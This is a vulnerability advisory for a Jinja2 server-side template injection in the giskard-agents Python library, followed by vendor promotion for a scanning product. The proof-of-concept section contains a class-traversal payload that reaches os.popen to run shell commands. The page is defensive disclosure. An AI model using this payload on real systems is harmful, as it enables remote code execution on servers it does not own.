GHSA-frv4-x25r-588m
Giskard Agents have Server-side template injection via ChatWorkflow.chat() using non-sandboxed Jinja2 Environment
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
giskard-agents🐍giskard-agentsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
ChatWorkflow.chat(message) passes its string argument directly as a Jinja2 template source to a non-sandboxed Environment. A developer who passes user input to this method enables full remote code execution via Jinja2 class traversal.
The method name chat and parameter name message naturally invite passing user input directly, but the string is silently parsed as a Jinja2 template, not treated as plain text.
Root Cause
libs/giskard-agents/src/giskard/agents/workflow.py line ~261:
def chat(self, message: str | Message | MessageTemplate, role: Role = "user") -> Self:
if isinstance(message, str):
message = MessageTemplate(role=role, content_template=message)
The string becomes content_template, which is parsed by from_string():
libs/giskard-agents/src/giskard/agents/templates/message.py lines 14-15:
def render(self, **kwargs: Any) -> Message:
template = _inline_env.from_string(self.content_template)
rendered_content = template.render(**kwargs)
The Jinja2 Environment is not sandboxed:
libs/giskard-agents/src/giskard/agents/templates/environment.py line 37:
_inline_env = Environment(
autoescape=False,
# Not SandboxedEnvironment
)
Proof of Concept
from jinja2 import Environment
env = Environment() # Same as giskard's _inline_env
# Class traversal reaches os.popen
t = env.from_string("{{ ''.__class__.__mro__[1].__subclasses__() | length }}")
print(t.render()) # 342 accessible subclasses
# Full RCE payload (subclass index varies by Python version)
# {{ ''.__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__['os'].popen('id').read() }}
A developer building a chatbot:
workflow = ChatWorkflow(generator=my_llm)
workflow = workflow.chat(user_input) # user_input parsed as Jinja2 template
result = await workflow.run() # RCE if user_input contains {{ payload }}
Note: using .with_inputs(var=user_data) is safe because variable values are not parsed as templates. The issue is only when user strings are passed directly to chat().
Impact
Remote code execution on the server hosting any application built with giskard-agents that passes user input to ChatWorkflow.chat(). Attacker can execute system commands, read files, access environment variables.
Affects giskard-agents <=0.3.3 and 1.0.x alpha. Patched in giskard-agents 0.3.4 (stable) and 1.0.2b1 (pre-release).
Mitigation
Update to 0.3.4 (or 1.0.2b1 for the pre-release branch) which includes the fix.
The fix replaces the unsandboxed Jinja2 Environment with SandboxedEnvironment, which blocks attribute access to dunder methods and prevents class traversal chains. SandboxedEnvironment blocks access to attributes starting with _, preventing the __class__.__mro__ traversal chain.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | giskard-agents | all versions | 0.3.4 |
| 🐍PyPI | giskard-agents | ≥ 1.0.1a1&&< 1.0.2b1 | 1.0.2b1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for giskard-agents. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update giskard-agents to 0.3.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-frv4-x25r-588m is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-frv4-x25r-588m is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-frv4-x25r-588m. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-frv4-x25r-588m in your dependencies?
O3 detects GHSA-frv4-x25r-588m across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.